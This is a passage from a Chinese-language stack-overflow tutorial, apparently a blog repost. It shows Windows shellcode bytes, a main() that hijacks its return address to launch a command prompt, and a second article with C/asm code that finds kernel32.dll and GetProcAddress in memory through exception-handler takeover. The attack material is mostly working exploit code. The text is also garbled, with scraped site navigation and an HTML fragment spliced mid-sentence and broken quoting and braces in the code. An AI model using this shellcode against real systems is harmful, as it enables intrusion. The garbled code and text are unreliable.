0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary(/"msvcrt.dll/");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是由于:有push ebp ,否則加1就能夠了。)

(*ret) = (int)shellcode; //改動main()的返回地址為shellcode的開始地
址。

}
編譯執(zhí)行,得到dos對話框。

如今總結(jié)一下。我們已經(jīng)知道了在windows系統(tǒng)下怎樣獲得一次堆棧溢出,怎樣計

偏移地址,以及怎樣編寫一個shellcode以得到dos。理論上,你已經(jīng)具備了利用堆

棧溢出
的能力了,以下,我們通過實戰(zhàn)來真正掌握他。

--------------------------------------------------------------

WINDOWS的SHELLCODE編寫高級技巧

作者:yuange

unix等系統(tǒng)由于實用戶概念,所以往往溢出是使用先得到普通帳號,然后登陸后用溢出
再載入一個SHELL的辦法得到ROOT權(quán)限,其系統(tǒng)調(diào)用又方便,所以SHELLCODE編寫一般都比
較簡單。但WINDOWS系統(tǒng)往往不提供登陸服務,所以溢出攻擊的SHELLCODE往往要提供SOCKET
連接,要載入程序得到SHELL等,而WINDOWS的系統(tǒng)調(diào)用int2e接口又不如unix系統(tǒng)調(diào)用int80
規(guī)范,所以一般都使用API,而API函數(shù)地址又由于系統(tǒng)版本號的不同而不一樣,所以要編寫
WINDOWS以下比較有用、通用點的SHELLCODE比較麻煩。

經(jīng)過一段時間的思考,得到了WINDOWS下編寫SHELLCODE的比教好的辦法。
1、溢出點確定。使用溢出點附近覆蓋一片一個RET指令地址的辦法,這樣僅僅要知道溢出
點大致范圍就能夠了。
2、SHELLCODE定位。使用ESP寄存器定位,僅僅要前面那覆蓋的RET地址后面放一個JMP
ESP功能的指令地址就能夠定位了。
3、RET指令地址、JMP ESP功能指令地址採用代碼頁里面的地址,54 C3,或者FF E4
、C3這個一個語言的WINDOWS地址固定,也非常好找這個地址。

4、SHELLCODE直接使用C語言編寫,方便編寫、改動、調(diào)試。

5、SHELLCODE統(tǒng)一編碼,滿足應用條件對SHELLCODE字符的限制,用一段小匯編代碼解
碼,這樣編寫SHELLCODE就能夠不用考慮特殊字符了。
6、通信加密,對付安全掃描淺談 什么是sniffer和怎樣防止sniffer的監(jiān)聽 Nmap網(wǎng)絡安全掃描器說明(2) 安全性與INTERNET信息serverIIS SQL數(shù)據(jù)庫的一些攻擊 WinShell v3.0 中文幫助 UNIX IP Stack 調(diào)整指南 警惕DoS的路由器攻擊 Win2000 Server入侵監(jiān)測 后門,隱藏通道及HTTP(S) 相關鏈接共 103 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">防火墻 ,實現(xiàn)FTP功能,實現(xiàn)內(nèi)存直接接管WEB服務等的高級應用。

以下主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用庫用LoadLibraryA載入。那這樣SHELLCODE就僅僅依靠這兩個
API了。那這兩個API的地址又怎么解決呢,LoadLibraryA這個API在系統(tǒng)庫KERNEL32.DLL里
面,也能夠使用GetProcAddress得到。那關鍵就是要找到系統(tǒng)庫kernel32.dll和
GetProcAddress的地址了。由于一般應用程序都會載入kernel32.dll,所以解決的方法就是在
內(nèi)存里面找到這個系統(tǒng)庫和API地址,所幸知道了WINDOWS的模塊數(shù)據(jù)結(jié)構(gòu)也就不難了,主要
是添加異常結(jié)構(gòu)處理 。以下是VC6.0程序代碼:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存異常結(jié)構(gòu)鏈和改動異常結(jié)構(gòu)鏈,SHELLCODE接管異常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始事實上地址 */

call getexceptretadd
}
/* 得到異常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模塊地址是64K為單位,加高速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 假設到這還沒有搜索到,那可能是WIN9X系統(tǒng) */
if(*( WORD *)imgbase==/ZM/&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))==/EP/){
/* 模塊結(jié)構(gòu)的模塊頭 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==/NREK/&&*(int *)(k+4)==/23LE/){
/* 模塊名 */
libhandle=imgbase;
/* 得到模塊頭地址,就是模塊句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)==/PteG/&&*(int *)(4+imgbase+*(int *)k)==/Acor/){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模塊地址和API函數(shù) GetProcAddress地址
// 注意這兒處理了搜索頁面不在情況。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢復異常結(jié)構(gòu)鏈 */


if(procgetadd==0) goto die ;
/* 假設沒找到GetProcAddress地址死循環(huán) */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到異常后的返回地址,并填寫到異常處理模塊 */

/* 異常處理模塊 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 改動異常返回EIP指針 */
xor eax,eax //2
/* 不提示異常 */
ret //1
/* 異常處理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}

創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎勵來咯,堅持創(chuàng)作打卡瓜分現(xiàn)金大獎

總結(jié)

以上是生活随笔為你收集整理的堆栈溢出从入门到提高的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。